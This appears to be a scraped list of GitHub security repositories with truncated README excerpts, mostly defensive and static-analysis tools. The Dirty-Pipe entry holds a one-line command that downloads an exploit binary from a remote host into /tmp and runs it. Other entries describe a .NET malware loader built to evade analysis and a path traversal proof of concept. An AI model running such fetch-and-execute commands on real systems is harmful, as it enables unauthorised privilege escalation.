CVE-2024-38816-PoC

CVE-2024-38816 Proof of Concept PoC This is a proof of concept for the CVE-2024-38816 vulnerability, demonstrating a path traversal exploit. Execution Steps 1. Build the Docker image: Spring Boot 3.0.13, based on Spring Framework 6.0.3 docker build -t cve-2024-38816-poc . 2. Run the container and...

zabbix-threat-control

Zabbix Threat Control ztc Turn the Zabbix you already run into a vulnerability-management console. ztc reads each host's software inventory through the stock zabbix-agent2 no extra agent to deploy, audits it against Vulners, and pushes scored, per-host findings — problems, dashboards and CVSS...

wcw-cyberring-pav-decryptor

WCW CyberRing PAV Decryptor Cryptanalysis of a proprietary 1999 video DRM system, recovering 51 minutes of lost media through static binary analysis and known-plaintext attack. Frame from a recovered "CyberRing" match. WCW wrestlers were filmed against blue screen and composited into a CGI arena...

Android-Security-Teryaagh

AST - Android Security Teryaagh 🔥 Android security guides, roadmap, tools, docs, courses, write-ups and teryaagh. 📚Check out the full Documentation Website here! Auto-generated using MkDocs Buy me a coffee ☕ USDTERC20 : 0x36811c0544E09b48Fe491f67C5743a43067b280B Contents 📜 0. Roadmap Programing...

NixImports

NixImports A .NET malware loader, using API-Hashing and dynamic invoking to evade static analysis How does it work? NixImports uses my managed API-Hashing implementation HInvoke, to dynamically resolve most of it's called functions at runtime. To resolve the functions HInvoke requires two hashes...

e9patch

E9Patch - A Powerful Static Binary Rewriter E9Patch is a powerful static binary rewriting tool for x8664 Linux ELF binaries. E9Patch is: Scalable : E9Patch can reliably rewrite large/complex binaries including web browsers 100MB in size. Compatible : The rewritten binary is a drop-in replacement ...

LazZzy_Dump

laZzzy Dump A static analysis tool for extracting encrypted shellcode from laZzzy-wrapped PE binaries without requiring dynamic execution, debugging, or emulation. Overview laZzzy Dump is a malware analysis tool which aids analysis through static extraction of shellcode from binaries compiled wit...

Mobile-Security-Framework-MobSF

Mobile Security Framework MobSF Mobile Security Framework MobSF is a security research platform for mobile applications in Android, iOS and Windows Mobile. MobSF can be used for a variety of use cases such as mobile application security, penetration testing, malware analysis, and privacy analysis...

karonte

Karonte Karonte is a static analysis tool to detect multi-binary vulnerabilities in embedded firmware. The master branch provides the latest version of Karonte, ported to python3. For the original implementation and experiments presented in our paper, please checkout the IEEE-SP-20 branch and hav...

phpstan

PHPStan - PHP Static Analysis Tool PHPStan focuses on finding errors in your code without actually running it. It catches whole classes of bugs even before you write tests for the code. It moves PHP closer to compiled languages in the sense that the correctness of each line of the code can be...

RATDecoders

RATDecoders Malconf is a python3 library that can be used to staticly analyse specific malware families and extract the Configuration data that can be used by Incident Responders during an incident. As a library it can also be installed in to automated malware analysis pipelines. Installation...

mkdocs

MkDocs Project documentation with Markdown MkDocs is a fast , simple and downright gorgeous static site generator that's geared towards building project documentation. Documentation source files are written in Markdown, and configured with a single YAML configuration file. It is designed to be ea...

krane

Krane Kubernetes RBAC Analysis made Easy Krane is a simple Kubernetes RBAC static analysis tool. It identifies potential security risks in K8s RBAC design and makes suggestions on how to mitigate them. Krane dashboard presents current RBAC security posture and lets you navigate through its...

gdb-static

GDB/GDBServer static Description Public repository of static GDB and GDBServer. Links https://github.com/hugsy/gef https://github.com/hugsy/gef-extras...

Dirty-Pipe

Oneline Exploit CVE-2022-0847 curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe;chmod,+x,/tmp/exploit-dirty-pipe;/tmp/exploit-dirty-pipe...

packj

Packj flags malicious/risky open-source packages Packj pronounced package is a tool to help to mitigate software supply chain attacks. It can detect malicious, vulnerable, abandoned, typo-squatting, and other "risky" packages from popular open-source package registries, such as NPM, RubyGems, and...

smalien

Smalien Smalien is an information flow analysis and information leakage detection tool for Android application analysts. Smalien performs static taint analysis of Android applications on a Linux machine as well as dynamic taint analysis, detection of information leakage due to implicit informatio...

msf_shellcode_analysis

Static analysis of a Metasploit shellcode For a first blogpost, I thought it'd be nice to analyze a common Metasploit shellcode - it's a great opportunity to discuss topics such as encoding, PEB, Windows shellcodes and Export Address Tables. Getting started We start with an intercepted, long...

paimei

PaiMei, is a reverse engineering framework consisting of multiple extensible components. The framework can essentially be thought of as a reverse engineer's swiss army knife and has already been proven effective for a wide range of both static and dynamic tasks such as fuzzer assistance, code...

jackhammer

Jackhammer: One Security vulnerability assessment/management tool to solve all the security team problems. What is Jackhammer? Jackhammer is a collaboration tool built with an aim of bridging the gap between Security team vs dev team, QA team and being a facilitator for TPM to understand and trac...